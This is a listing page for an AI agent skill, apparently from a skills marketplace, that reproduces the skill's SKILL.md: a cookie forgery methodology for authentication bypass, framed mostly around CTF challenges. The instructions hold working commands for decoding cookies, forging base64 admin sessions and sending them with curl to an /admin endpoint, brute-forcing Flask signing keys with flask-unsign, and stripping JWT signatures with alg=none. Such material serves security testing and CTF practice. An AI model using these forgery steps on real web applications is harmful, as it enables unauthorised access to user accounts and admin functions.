Cookie Analysis logo

Cookie Analysis

OrganizationPopular
wgpsec
cookie-analysis

Session cookie 分析与伪造方法论。当发现 Web 应用使用 cookie 进行认证、需要判断 cookie 类型并选择伪造方法时使用。覆盖 unsigned base64 cookie 直接伪造、Flask 签名 cookie(flask-unsign 爆破密钥)、加密/二进制 cookie 的识别。本技能负责 cookie 类型判断和分流:如果判断为 JWT(三段式 eyJ 开头),应转至 jwt-attack-methodology;如果判断为加密 cookie 需要 Padding Oracle,应转至 crypto-web-attack

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namecookie-analysis
Stars
1.8K
Forks
247
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Cookie Analysis AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/auth/cookie-analysis
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/exploit/auth/cookie-analysis .claude/skills/cookie-analysis
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cookie Analysis in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cookie Analysis on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cookie Analysis is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Cookie Analysis & Forgery Methodology

When to Use

  • You found a session cookie and want to forge it
  • BEFORE running flask-unsign or any brute-force tool
  • When you need to bypass authentication via cookie manipulation

Step 1: Extract the cookie

bash
curl -sI http://TARGET/ | grep -i set-cookie

Step 2: Identify cookie type

Test A: Base64 decode

bash
echo '<cookie_value>' | base64 -d 2>/dev/null
# Also try URL-decoded version:
python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"

If it decodes to valid JSON → UNSIGNED BASE64 (most common in CTF!)

  • Attack: forge directly — takes 5 seconds
bash
# Forge admin session
echo -n '{"user_id":1}' | base64
# Use as cookie:
curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag
  • Try variations:
bash
echo -n '{"user_id":1}' | base64
echo -n '{"role":"admin"}' | base64
echo -n '{"is_admin":true}' | base64
echo -n '{"user_id":1,"role":"admin"}' | base64
echo -n '{"username":"admin"}' | base64

Test B: Flask itsdangerous signature

If the cookie has a . followed by a signature portion:

bash
# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...
flask-unsign --decode --cookie '<cookie>'
# If decode works → Flask signed cookie
flask-unsign --unsign --cookie '<cookie>' --wordlist /pentest/AboutSecurity/Dic/auth/flask/flask-secret-key.txt

Test C: JWT

If the cookie has three base64 parts separated by .:

bash
# Header.Payload.Signature
echo '<first_part>' | base64 -d  # Should show {"alg":"...","typ":"JWT"}
# → Use Skill(skill="jwt-attack-methodology")

Test D: Encrypted/Binary

If base64 decode produces garbage → encrypted cookie

  • Need key or padding oracle attack
  • Check source code for encryption key

Step 3: Common bypass patterns

  • If unsigned: forge with user_id=1, role=admin, is_admin=true
  • If Flask-signed: try common keys ('secret', app name, etc.)
  • If JWT with alg=none: remove signature, set alg to "none"
  • If JWT with HS256: try common secrets, check for JWKS endpoint

Critical Reminders

  • NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails
  • Always decode the cookie FIRST to determine its type
  • Base64 JSON cookies are the most common type in CTF challenges
  • Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes

Frequently asked questions

What does the Cookie Analysis AI skill do?

Session cookie 分析与伪造方法论。当发现 Web 应用使用 cookie 进行认证、需要判断 cookie 类型并选择伪造方法时使用。覆盖 unsigned base64 cookie 直接伪造、Flask 签名 cookie(flask-unsign 爆破密钥)、加密/二进制 cookie 的识别。本技能负责 cookie 类型判断和分流:如果判断为 JWT(三段式 eyJ 开头),应转至 jwt-attack-methodology;如果判断为加密 cookie 需要 Padding Oracle,应转至 crypto-web-attack

Why use Cookie Analysis on TypingMind?

Because you install it once and use it with any model. Cookie Analysis is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cookie Analysis in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/auth/cookie-analysis. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Cookie Analysis?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cookie Analysis?

As many as you like. As long as a model supports skills, you can use Cookie Analysis with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cookie Analysis AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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